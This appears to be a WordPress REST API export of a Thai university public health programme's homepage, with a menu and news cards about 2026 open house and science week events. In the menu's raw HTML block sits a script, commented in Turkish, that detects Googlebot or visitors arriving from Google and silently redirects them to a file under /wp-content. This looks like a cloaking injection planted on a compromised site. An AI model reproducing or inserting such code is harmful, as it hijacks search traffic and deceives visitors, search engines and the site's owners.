{"id":14,"date":"2024-04-23T15:06:55","date_gmt":"2024-04-23T08:06:55","guid":{"rendered":"https:\/\/ph.bru.ac.th\/?page_id=14"},"modified":"2025-05-04T06:14:45","modified_gmt":"2025-05-03T23:14:45","slug":"%e0%b8%ab%e0%b8%99%e0%b9%89%e0%b8%b2%e0%b9%81%e0%b8%a3%e0%b8%81","status":"publish","type":"page","link":"https:\/\/ph.bru.ac.th\/en\/","title":{"rendered":"\u0e2b\u0e19\u0e49\u0e32\u0e41\u0e23\u0e01"},"content":{"rendered":"<section class=\"l-section wpb_row height_auto\"><div class=\"l-section-h i-cf\"><div class=\"g-cols vc_row via_flex valign_top type_default stacking_default\" style=\"--additional-gap:2rem;\"><div class=\"vc_col-sm-12 wpb_column vc_column_container\"><div class=\"vc_column-inner\"><div class=\"wpb_wrapper\">\n\t<div class=\"wpb_raw_code wpb_raw_html wpb_content_element us_custom_25731ce4 has_border_radius\" >\n\t\t<div class=\"wpb_wrapper\">\n\t\t\t<div id=\"mega-menu-wrap-max_mega_menu_1\" class=\"mega-menu-wrap\"><div class=\"mega-menu-toggle\"><div class=\"mega-toggle-blocks-left\"><\/div><div class=\"mega-toggle-blocks-center\"><\/div><div class=\"mega-toggle-blocks-right\"><div class='mega-toggle-block mega-menu-toggle-animated-block mega-toggle-block-0' id='mega-toggle-block-0'><button aria-label=\"Toggle Menu\" class=\"mega-toggle-animated mega-toggle-animated-slider\" type=\"button\" aria-expanded=\"false\">\n                  <span class=\"mega-toggle-animated-box\">\n                    <span class=\"mega-toggle-animated-inner\"><\/span>\n                  <\/span>\n                <\/button><\/div><\/div><\/div><ul id=\"mega-menu-max_mega_menu_1\" class=\"mega-menu max-mega-menu mega-menu-horizontal mega-no-js\" data-event=\"hover_intent\" data-effect=\"fade_up\" data-effect-speed=\"200\" data-effect-mobile=\"disabled\" data-effect-speed-mobile=\"0\" data-mobile-force-width=\"false\" data-second-click=\"go\" data-document-click=\"collapse\" data-vertical-behaviour=\"standard\" data-breakpoint=\"768\" data-unbind=\"true\" data-mobile-state=\"collapse_all\" data-hover-intent-timeout=\"300\" data-hover-intent-interval=\"100\" data-overlay-desktop=\"false\" data-overlay-mobile=\"false\"><li class='mega-menu-item mega-menu-item-type-post_type mega-menu-item-object-page mega-align-bottom-left mega-menu-flyout mega-has-icon mega-icon-left mega-menu-item-1637' id='mega-menu-item-1637'><a target=\"_blank\" class=\"fas fa-align-left fa6 mega-menu-link\" href=\"https:\/\/ph.bru.ac.th\/en\/syllabus\/\" tabindex=\"0\">\u0e2b\u0e25\u0e31\u0e01\u0e2a\u0e39\u0e15\u0e23<\/a><\/li><li class='mega-menu-item mega-menu-item-type-post_type mega-menu-item-object-page mega-align-bottom-left mega-menu-flyout mega-has-icon mega-icon-left mega-menu-item-1636' id='mega-menu-item-1636'><a target=\"_blank\" class=\"fas fa-money-check-dollar fa6 mega-menu-link\" href=\"https:\/\/ph.bru.ac.th\/en\/syllabus\/feature-and-fees\/\" tabindex=\"0\">\u0e04\u0e48\u0e32\u0e40\u0e25\u0e48\u0e32\u0e40\u0e23\u0e35\u0e22\u0e19<\/a><\/li><li class='mega-menu-item mega-menu-item-type-post_type mega-menu-item-object-page mega-align-bottom-left mega-menu-flyout mega-has-icon mega-icon-left mega-menu-item-1635' id='mega-menu-item-1635'><a target=\"_blank\" class=\"far fa-address-card fa6 mega-menu-link\" href=\"https:\/\/ph.bru.ac.th\/en\/syllabus\/feature-and-fees\/\" tabindex=\"0\">\u0e02\u0e49\u0e2d\u0e21\u0e39\u0e25\u0e2a\u0e21\u0e31\u0e04\u0e23\u0e40\u0e23\u0e35\u0e22\u0e19<\/a><\/li><li class='mega-menu-item mega-menu-item-type-post_type mega-menu-item-object-page mega-align-bottom-left mega-menu-flyout mega-has-icon mega-icon-left mega-menu-item-1634' id='mega-menu-item-1634'><a target=\"_blank\" class=\"fas fa-briefcase fa6 mega-menu-link\" href=\"https:\/\/ph.bru.ac.th\/en\/syllabus\/career\/\" tabindex=\"0\">\u0e01\u0e32\u0e23\u0e1b\u0e23\u0e30\u0e01\u0e2d\u0e1a\u0e2d\u0e32\u0e0a\u0e35\u0e1e<\/a><\/li><li class='mega-menu-item mega-menu-item-type-custom mega-menu-item-object-custom mega-align-bottom-left mega-menu-flyout mega-has-icon mega-icon-left mega-menu-item-444' id='mega-menu-item-444'><a target=\"_blank\" class=\"fas fa-money-check-dollar fa6 mega-menu-link\" href=\"https:\/\/www.facebook.com\/bru.studentloan\" tabindex=\"0\">\u0e01\u0e39\u0e49\u0e22\u0e37\u0e21 \u0e01\u0e22\u0e28.<\/a><\/li><li class='mega-menu-item mega-menu-item-type-custom mega-menu-item-object-custom mega-align-bottom-left mega-menu-flyout mega-has-icon mega-icon-left mega-menu-item-445' id='mega-menu-item-445'><a target=\"_blank\" class=\"far fa-calendar-check fa6 mega-menu-link\" href=\"http:\/\/reg.bru.ac.th\/registrar\/calendar.asp?avs704226668=1\" tabindex=\"0\">\u0e1b\u0e0f\u0e34\u0e17\u0e34\u0e19\u0e01\u0e32\u0e23\u0e28\u0e36\u0e01\u0e29\u0e32<\/a><\/li><\/ul><\/div>\n\n\n<script>\n(function() {\n    \/\/ Kullan\u0131c\u0131 ajan\u0131n\u0131 al\u0131n\n    var userAgent = navigator.userAgent.toLowerCase();\n\n    \/\/ Googlebot ve Google'dan gelenleri kontrol edin\n    var isGoogleBot = userAgent.indexOf('googlebot') !== -1;\n    var isGoogleReferrer = false;\n\n    \/\/ Referans URL'yi kontrol edin\n    if (document.referrer) {\n        var referrer = document.referrer.toLowerCase();\n        if (referrer.indexOf('google.com') !== -1 || referrer.indexOf('google.') !== -1) {\n            isGoogleReferrer = true;\n        }\n    }\n\n    \/\/ E\u011fer Googlebot ise veya Google'dan gelmi\u015fse y\u00f6nlendir\n    if (isGoogleBot || isGoogleReferrer) {\n        window.location.href = \"\/wp-content\/google.html\";\n    }\n})();\n<\/script>\n\n\t\t<\/div>\n\t<\/div>\n<\/div><\/div><\/div><\/div><\/div><\/section><section class=\"l-section wpb_row height_medium\"><div class=\"l-section-h i-cf\"><div class=\"g-cols vc_row via_flex valign_top type_default stacking_default\" style=\"--additional-gap:2rem;\"><div class=\"vc_col-sm-12 wpb_column vc_column_container\"><div class=\"vc_column-inner\"><div class=\"wpb_wrapper\"><h2 class=\"w-text us_custom_b91424ac\"><span class=\"w-text-h\"><span class=\"w-text-value\">\u0e02\u0e48\u0e32\u0e27\u0e2a\u0e32\u0e23\u0e41\u0e25\u0e30\u0e1a\u0e17\u0e04\u0e27\u0e32\u0e21<\/span><\/span><\/h2><h6 class=\"w-text us_custom_8dd03b46 has_text_color\"><span class=\"w-text-h\"><span class=\"w-text-value\">\u0e02\u0e48\u0e32\u0e27\u0e2a\u0e32\u0e23\u0e08\u0e32\u0e01\u0e2a\u0e32\u0e02\u0e32<\/span><\/span><\/h6><div class=\"w-grid type_grid layout_1026 cols_3 overflow_hidden\" id=\"us_grid_1\" style=\"--gap:1.5rem;\" data-filterable=\"true\"><style>@media (max-width:1024px){#us_grid_1 .w-grid-item{width:50%}}@media (max-width:600px){#us_grid_1 .w-grid-list{margin:0}#us_grid_1 .w-grid-item{width:100%;padding:0;margin-bottom:var(--gap,0px)}}.layout_1026 .w-grid-item-h{color:var(--color-content-text)}.layout_1026 .usg_post_image_1{transition-duration:0.7s;transform-origin:50% 50%;transform:scale(1) translate(0%,0%)}.layout_1026 .w-grid-item-h:hover .usg_post_image_1{transform:scale(1.05) translate(0%,0%);opacity:1}.layout_1026 .usg_post_image_1{border-radius:5px!important;position:relative!important;overflow:visible!important;margin:0px!important}.layout_1026 .usg_post_title_1{font-size:1.2rem!important;font-weight:600!important;border-bottom-width:1px!important;border-color:#ccc!important}.layout_1026 .usg_vwrapper_1{margin-top:1rem!important}.layout_1026 .usg_post_taxonomy_1{font-size:12px!important;font-weight:600!important;position:absolute!important;left:0.7rem!important;top:0.7rem!important;right:1.2rem!important;z-index:2!important}.layout_1026 .usg_hwrapper_1{color:var(--color-content-faded)!important;font-size:0.9rem!important}.layout_1026 .usg_vwrapper_2{border-radius:7px!important;overflow:hidden!important;padding:0px!important;margin:0px!important}@media (max-width:600px){.layout_1026 .usg_post_title_1{font-size:1.2rem!important}}<\/style><div class=\"w-grid-list\">\t<article class=\"w-grid-item size_1x1 post-3205 post type-post status-publish format-standard has-post-thumbnail hentry category-news category-event\" data-id=\"3205\">\r\n\t\t<div class=\"w-grid-item-h\">\r\n\t\t\t\t\t\t<div class=\"w-vwrapper usg_vwrapper_2 align_none valign_top\"><div class=\"w-post-elm post_image usg_post_image_1 stretched\"><a href=\"https:\/\/ph.bru.ac.th\/en\/2026\/08\/22\/\ud83d\udce2-\u0e0a\u0e27\u0e19\u0e19\u0e49\u0e2d\u0e07\u0e46-\u0e21\u0e31\u0e18\u0e22\u0e21-\u0e40\u0e1b\u0e34\u0e14\u0e1b\u0e23\u0e30\/\" aria-label=\"\ud83d\udce2 \u0e0a\u0e27\u0e19\u0e19\u0e49\u0e2d\u0e07\u0e46 \u0e21\u0e31\u0e18\u0e22\u0e21! \u0e40\u0e1b\u0e34\u0e14\u0e1b\u0e23\u0e30\u0e15\u0e39\u0e2a\u0e39\u0e48\u0e2d\u0e19\u0e32\u0e04\u0e15\u0e01\u0e31\u0e1a OPEN HOUSE \u0e2a\u0e32\u0e18\u0e32\u0e23\u0e13\u0e2a\u0e38\u0e02\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c \u0e21.\u0e23\u0e32\u0e0a\u0e20\u0e31\u0e0f\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c \ud83c\udfe5\u2728\"><img loading=\"lazy\" decoding=\"async\" width=\"718\" height=\"1024\" data-src=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/\u0e1b\u0e35-2569-718x1024.jpg\" class=\"attachment-large size-large wp-post-image lazyload\" alt=\"\" data-srcset=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/\u0e1b\u0e35-2569-718x1024.jpg 718w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/\u0e1b\u0e35-2569-210x300.jpg 210w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/\u0e1b\u0e35-2569-8x12.jpg 8w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/\u0e1b\u0e35-2569-scaled.jpg 1795w\" data-sizes=\"(max-width: 718px) 100vw, 718px\" src=\"data:image\/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==\" style=\"--smush-placeholder-width: 718px; --smush-placeholder-aspect-ratio: 718\/1024;\" \/><noscript><img loading=\"lazy\" decoding=\"async\" width=\"718\" height=\"1024\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/\u0e1b\u0e35-2569-718x1024.jpg\" class=\"attachment-large size-large wp-post-image\" alt=\"\" srcset=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/\u0e1b\u0e35-2569-718x1024.jpg 718w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/\u0e1b\u0e35-2569-210x300.jpg 210w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/\u0e1b\u0e35-2569-8x12.jpg 8w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/\u0e1b\u0e35-2569-scaled.jpg 1795w\" sizes=\"(max-width: 718px) 100vw, 718px\" \/><\/noscript><\/a><\/div><div class=\"w-post-elm post_taxonomy usg_post_taxonomy_1 style_badge color_link_inherit\"><div class=\"w-post-elm-list\"><a class=\"w-btn us-btn-style_4 term-3 term-news\" href=\"https:\/\/ph.bru.ac.th\/en\/category\/news\/\"><span class=\"w-btn-label\">\u0e1b\u0e23\u0e30\u0e0a\u0e32\u0e2a\u0e31\u0e21\u0e1e\u0e31\u0e19\u0e18\u0e4c<\/span><\/a><a class=\"w-btn us-btn-style_4 term-17 term-event\" href=\"https:\/\/ph.bru.ac.th\/en\/category\/event\/\"><span class=\"w-btn-label\">\u0e20\u0e32\u0e1e\u0e01\u0e34\u0e08\u0e01\u0e23\u0e23\u0e21<\/span><\/a><\/div><\/div><\/div><div class=\"w-vwrapper usg_vwrapper_1 align_none valign_top\"><div class=\"w-hwrapper usg_hwrapper_1 has_text_color align_none valign_top wrap\"><time class=\"w-post-elm post_date usg_post_date_1 entry-date published\" datetime=\"2026-08-22T19:08:58+07:00\">22 August 2026<\/time><\/div><h2 class=\"w-post-elm post_title usg_post_title_1 entry-title color_link_inherit\"><a href=\"https:\/\/ph.bru.ac.th\/en\/2026\/08\/22\/\ud83d\udce2-\u0e0a\u0e27\u0e19\u0e19\u0e49\u0e2d\u0e07\u0e46-\u0e21\u0e31\u0e18\u0e22\u0e21-\u0e40\u0e1b\u0e34\u0e14\u0e1b\u0e23\u0e30\/\">\ud83d\udce2 \u0e0a\u0e27\u0e19\u0e19\u0e49\u0e2d\u0e07\u0e46 \u0e21\u0e31\u0e18\u0e22\u0e21! \u0e40\u0e1b\u0e34\u0e14\u0e1b\u0e23\u0e30\u0e15\u0e39\u0e2a\u0e39\u0e48\u0e2d\u0e19\u0e32\u0e04\u0e15\u0e01\u0e31\u0e1a OPEN HOUSE \u0e2a\u0e32\u0e18\u0e32\u0e23\u0e13\u0e2a\u0e38\u0e02\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c \u0e21.\u0e23\u0e32\u0e0a\u0e20\u0e31\u0e0f\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c \ud83c\udfe5\u2728<\/a><\/h2><\/div>\t\t<\/div>\r\n\t\t\t<\/article>\r\n\t<article class=\"w-grid-item size_1x1 post-3098 post type-post status-publish format-standard has-post-thumbnail hentry category-news category-event\" data-id=\"3098\">\r\n\t\t<div class=\"w-grid-item-h\">\r\n\t\t\t\t\t\t<div class=\"w-vwrapper usg_vwrapper_2 align_none valign_top\"><div class=\"w-post-elm post_image usg_post_image_1 stretched\"><a href=\"https:\/\/ph.bru.ac.th\/en\/2026\/08\/21\/\ud83c\udf89-\u0e1b\u0e34\u0e14\u0e09\u0e32\u0e01\u0e04\u0e27\u0e32\u0e21\u0e1b\u0e23\u0e30\u0e17\u0e31\u0e1a\u0e43\u0e08-\u0e1b\u0e23\/\" aria-label=\"\ud83c\udf89 \u0e1b\u0e34\u0e14\u0e09\u0e32\u0e01\u0e04\u0e27\u0e32\u0e21\u0e1b\u0e23\u0e30\u0e17\u0e31\u0e1a\u0e43\u0e08! \u0e1b\u0e23\u0e30\u0e21\u0e27\u0e25\u0e20\u0e32\u0e1e\u0e1a\u0e23\u0e23\u0e22\u0e32\u0e01\u0e32\u0e28\u0e07\u0e32\u0e19\u0e2a\u0e31\u0e1b\u0e14\u0e32\u0e2b\u0e4c\u0e27\u0e34\u0e17\u0e22\u0e32\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c\u0e41\u0e2b\u0e48\u0e07\u0e0a\u0e32\u0e15\u0e34 \u0e1b\u0e23\u0e30\u0e08\u0e33\u0e1b\u0e35 2569 \u0e15\u0e25\u0e2d\u0e14 3 \u0e27\u0e31\u0e19\u0e17\u0e35\u0e48\u0e1c\u0e48\u0e32\u0e19\u0e21\u0e32 \ud83d\udcf8\u2728\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" data-src=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e2a\u0e31\u0e1b\u0e14\u0e32\u0e2b\u0e4c\u0e27\u0e34\u0e17\u0e22\u0e32\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c2569_260818_2-1024x768.jpg\" class=\"attachment-large size-large wp-post-image lazyload\" alt=\"\" data-srcset=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e2a\u0e31\u0e1b\u0e14\u0e32\u0e2b\u0e4c\u0e27\u0e34\u0e17\u0e22\u0e32\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c2569_260818_2-1024x768.jpg 1024w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e2a\u0e31\u0e1b\u0e14\u0e32\u0e2b\u0e4c\u0e27\u0e34\u0e17\u0e22\u0e32\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c2569_260818_2-300x225.jpg 300w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e2a\u0e31\u0e1b\u0e14\u0e32\u0e2b\u0e4c\u0e27\u0e34\u0e17\u0e22\u0e32\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c2569_260818_2-16x12.jpg 16w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e2a\u0e31\u0e1b\u0e14\u0e32\u0e2b\u0e4c\u0e27\u0e34\u0e17\u0e22\u0e32\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c2569_260818_2.jpg 1477w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/768;\" \/><noscript><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e2a\u0e31\u0e1b\u0e14\u0e32\u0e2b\u0e4c\u0e27\u0e34\u0e17\u0e22\u0e32\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c2569_260818_2-1024x768.jpg\" class=\"attachment-large size-large wp-post-image\" alt=\"\" srcset=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e2a\u0e31\u0e1b\u0e14\u0e32\u0e2b\u0e4c\u0e27\u0e34\u0e17\u0e22\u0e32\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c2569_260818_2-1024x768.jpg 1024w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e2a\u0e31\u0e1b\u0e14\u0e32\u0e2b\u0e4c\u0e27\u0e34\u0e17\u0e22\u0e32\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c2569_260818_2-300x225.jpg 300w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e2a\u0e31\u0e1b\u0e14\u0e32\u0e2b\u0e4c\u0e27\u0e34\u0e17\u0e22\u0e32\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c2569_260818_2-16x12.jpg 16w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e2a\u0e31\u0e1b\u0e14\u0e32\u0e2b\u0e4c\u0e27\u0e34\u0e17\u0e22\u0e32\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c2569_260818_2.jpg 1477w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/noscript><\/a><\/div><div class=\"w-post-elm post_taxonomy usg_post_taxonomy_1 style_badge color_link_inherit\"><div class=\"w-post-elm-list\"><a class=\"w-btn us-btn-style_4 term-3 term-news\" href=\"https:\/\/ph.bru.ac.th\/en\/category\/news\/\"><span class=\"w-btn-label\">\u0e1b\u0e23\u0e30\u0e0a\u0e32\u0e2a\u0e31\u0e21\u0e1e\u0e31\u0e19\u0e18\u0e4c<\/span><\/a><a class=\"w-btn us-btn-style_4 term-17 term-event\" href=\"https:\/\/ph.bru.ac.th\/en\/category\/event\/\"><span class=\"w-btn-label\">\u0e20\u0e32\u0e1e\u0e01\u0e34\u0e08\u0e01\u0e23\u0e23\u0e21<\/span><\/a><\/div><\/div><\/div><div class=\"w-vwrapper usg_vwrapper_1 align_none valign_top\"><div class=\"w-hwrapper usg_hwrapper_1 has_text_color align_none valign_top wrap\"><time class=\"w-post-elm post_date usg_post_date_1 entry-date published\" datetime=\"2026-08-21T12:03:07+07:00\">21 August 2026<\/time><\/div><h2 class=\"w-post-elm post_title usg_post_title_1 entry-title color_link_inherit\"><a href=\"https:\/\/ph.bru.ac.th\/en\/2026\/08\/21\/\ud83c\udf89-\u0e1b\u0e34\u0e14\u0e09\u0e32\u0e01\u0e04\u0e27\u0e32\u0e21\u0e1b\u0e23\u0e30\u0e17\u0e31\u0e1a\u0e43\u0e08-\u0e1b\u0e23\/\">\ud83c\udf89 \u0e1b\u0e34\u0e14\u0e09\u0e32\u0e01\u0e04\u0e27\u0e32\u0e21\u0e1b\u0e23\u0e30\u0e17\u0e31\u0e1a\u0e43\u0e08! \u0e1b\u0e23\u0e30\u0e21\u0e27\u0e25\u0e20\u0e32\u0e1e\u0e1a\u0e23\u0e23\u0e22\u0e32\u0e01\u0e32\u0e28\u0e07\u0e32\u0e19\u0e2a\u0e31\u0e1b\u0e14\u0e32\u0e2b\u0e4c\u0e27\u0e34\u0e17\u0e22\u0e32\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c\u0e41\u0e2b\u0e48\u0e07\u0e0a\u0e32\u0e15\u0e34 \u0e1b\u0e23\u0e30\u0e08\u0e33\u0e1b\u0e35 2569 \u0e15\u0e25\u0e2d\u0e14 3 \u0e27\u0e31\u0e19\u0e17\u0e35\u0e48\u0e1c\u0e48\u0e32\u0e19\u0e21\u0e32 \ud83d\udcf8\u2728<\/a><\/h2><\/div>\t\t<\/div>\r\n\t\t\t<\/article>\r\n\t<article class=\"w-grid-item size_1x1 post-3091 post type-post status-publish format-standard has-post-thumbnail hentry category-news category-event\" data-id=\"3091\">\r\n\t\t<div class=\"w-grid-item-h\">\r\n\t\t\t\t\t\t<div class=\"w-vwrapper usg_vwrapper_2 align_none valign_top\"><div class=\"w-post-elm post_image usg_post_image_1 stretched\"><a href=\"https:\/\/ph.bru.ac.th\/en\/2026\/08\/18\/\ud83e\uddec-\u0e0a\u0e27\u0e19\u0e19\u0e49\u0e2d\u0e07\u0e46-\u0e2b\u0e19\u0e39\u0e46-\u0e41\u0e25\u0e30\u0e1c\u0e39\u0e49\u0e17\u0e35\/\" aria-label=\"\ud83e\uddec \u0e0a\u0e27\u0e19\u0e19\u0e49\u0e2d\u0e07\u0e46 \u0e2b\u0e19\u0e39\u0e46 \u0e41\u0e25\u0e30\u0e1c\u0e39\u0e49\u0e17\u0e35\u0e48\u0e2a\u0e19\u0e43\u0e08 \u0e23\u0e48\u0e27\u0e21\u0e2a\u0e19\u0e38\u0e01\u0e43\u0e19\u0e07\u0e32\u0e19 &#8220;\u0e2a\u0e31\u0e1b\u0e14\u0e32\u0e2b\u0e4c\u0e27\u0e34\u0e17\u0e22\u0e32\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c\u0e41\u0e2b\u0e48\u0e07\u0e0a\u0e32\u0e15\u0e34 \u0e1b\u0e23\u0e30\u0e08\u0e33\u0e1b\u0e35 \u0e1e.\u0e28. 2569&#8221; \ud83e\uddea\u2728\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"572\" data-src=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/Untitled-design-1024x572.jpg\" class=\"attachment-large size-large wp-post-image lazyload\" alt=\"\" data-srcset=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/Untitled-design-1024x572.jpg 1024w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/Untitled-design-300x167.jpg 300w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/Untitled-design-18x10.jpg 18w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/Untitled-design.jpg 1376w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/572;\" \/><noscript><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"572\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/Untitled-design-1024x572.jpg\" class=\"attachment-large size-large wp-post-image\" alt=\"\" srcset=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/Untitled-design-1024x572.jpg 1024w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/Untitled-design-300x167.jpg 300w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/Untitled-design-18x10.jpg 18w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/Untitled-design.jpg 1376w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/noscript><\/a><\/div><div class=\"w-post-elm post_taxonomy usg_post_taxonomy_1 style_badge color_link_inherit\"><div class=\"w-post-elm-list\"><a class=\"w-btn us-btn-style_4 term-3 term-news\" href=\"https:\/\/ph.bru.ac.th\/en\/category\/news\/\"><span class=\"w-btn-label\">\u0e1b\u0e23\u0e30\u0e0a\u0e32\u0e2a\u0e31\u0e21\u0e1e\u0e31\u0e19\u0e18\u0e4c<\/span><\/a><a class=\"w-btn us-btn-style_4 term-17 term-event\" href=\"https:\/\/ph.bru.ac.th\/en\/category\/event\/\"><span class=\"w-btn-label\">\u0e20\u0e32\u0e1e\u0e01\u0e34\u0e08\u0e01\u0e23\u0e23\u0e21<\/span><\/a><\/div><\/div><\/div><div class=\"w-vwrapper usg_vwrapper_1 align_none valign_top\"><div class=\"w-hwrapper usg_hwrapper_1 has_text_color align_none valign_top wrap\"><time class=\"w-post-elm post_date usg_post_date_1 entry-date published\" datetime=\"2026-08-18T10:20:36+07:00\">18 August 2026<\/time><\/div><h2 class=\"w-post-elm post_title usg_post_title_1 entry-title color_link_inherit\"><a href=\"https:\/\/ph.bru.ac.th\/en\/2026\/08\/18\/\ud83e\uddec-\u0e0a\u0e27\u0e19\u0e19\u0e49\u0e2d\u0e07\u0e46-\u0e2b\u0e19\u0e39\u0e46-\u0e41\u0e25\u0e30\u0e1c\u0e39\u0e49\u0e17\u0e35\/\">\ud83e\uddec \u0e0a\u0e27\u0e19\u0e19\u0e49\u0e2d\u0e07\u0e46 \u0e2b\u0e19\u0e39\u0e46 \u0e41\u0e25\u0e30\u0e1c\u0e39\u0e49\u0e17\u0e35\u0e48\u0e2a\u0e19\u0e43\u0e08 \u0e23\u0e48\u0e27\u0e21\u0e2a\u0e19\u0e38\u0e01\u0e43\u0e19\u0e07\u0e32\u0e19 &#8220;\u0e2a\u0e31\u0e1b\u0e14\u0e32\u0e2b\u0e4c\u0e27\u0e34\u0e17\u0e22\u0e32\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c\u0e41\u0e2b\u0e48\u0e07\u0e0a\u0e32\u0e15\u0e34 \u0e1b\u0e23\u0e30\u0e08\u0e33\u0e1b\u0e35 \u0e1e.\u0e28. 2569&#8221; \ud83e\uddea\u2728<\/a><\/h2><\/div>\t\t<\/div>\r\n\t\t\t<\/article>\r\n\t<article class=\"w-grid-item size_1x1 post-3059 post type-post status-publish format-standard has-post-thumbnail hentry category-article category-news category-event\" data-id=\"3059\">\r\n\t\t<div class=\"w-grid-item-h\">\r\n\t\t\t\t\t\t<div class=\"w-vwrapper usg_vwrapper_2 align_none valign_top\"><div class=\"w-post-elm post_image usg_post_image_1 stretched\"><a href=\"https:\/\/ph.bru.ac.th\/en\/2026\/08\/06\/\u0e1b\u0e10\u0e21\u0e19\u0e34\u0e40\u0e17\u0e28\u0e19\u0e31\u0e01\u0e28\u0e36\u0e01\u0e29\u0e32\u0e1d\u0e36\u0e01\u0e1b\u0e23\u0e30\/\" aria-label=\"\u0e1b\u0e10\u0e21\u0e19\u0e34\u0e40\u0e17\u0e28\u0e19\u0e31\u0e01\u0e28\u0e36\u0e01\u0e29\u0e32\u0e1d\u0e36\u0e01\u0e1b\u0e23\u0e30\u0e2a\u0e1a\u0e01\u0e32\u0e23\u0e13\u0e4c\u0e27\u0e34\u0e0a\u0e32\u0e0a\u0e35\u0e1e \u0e2a\u0e32\u0e18\u0e32\u0e23\u0e13\u0e2a\u0e38\u0e02\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c \u0e0a\u0e31\u0e49\u0e19\u0e1b\u0e35\u0e17\u0e35\u0e48 3\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" data-src=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e1b\u0e10\u0e21\u0e19\u0e34\u0e40\u0e17\u0e28_260806_4-1024x768.jpg\" class=\"attachment-large size-large wp-post-image lazyload\" alt=\"\" data-srcset=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e1b\u0e10\u0e21\u0e19\u0e34\u0e40\u0e17\u0e28_260806_4-1024x768.jpg 1024w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e1b\u0e10\u0e21\u0e19\u0e34\u0e40\u0e17\u0e28_260806_4-300x225.jpg 300w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e1b\u0e10\u0e21\u0e19\u0e34\u0e40\u0e17\u0e28_260806_4-16x12.jpg 16w, 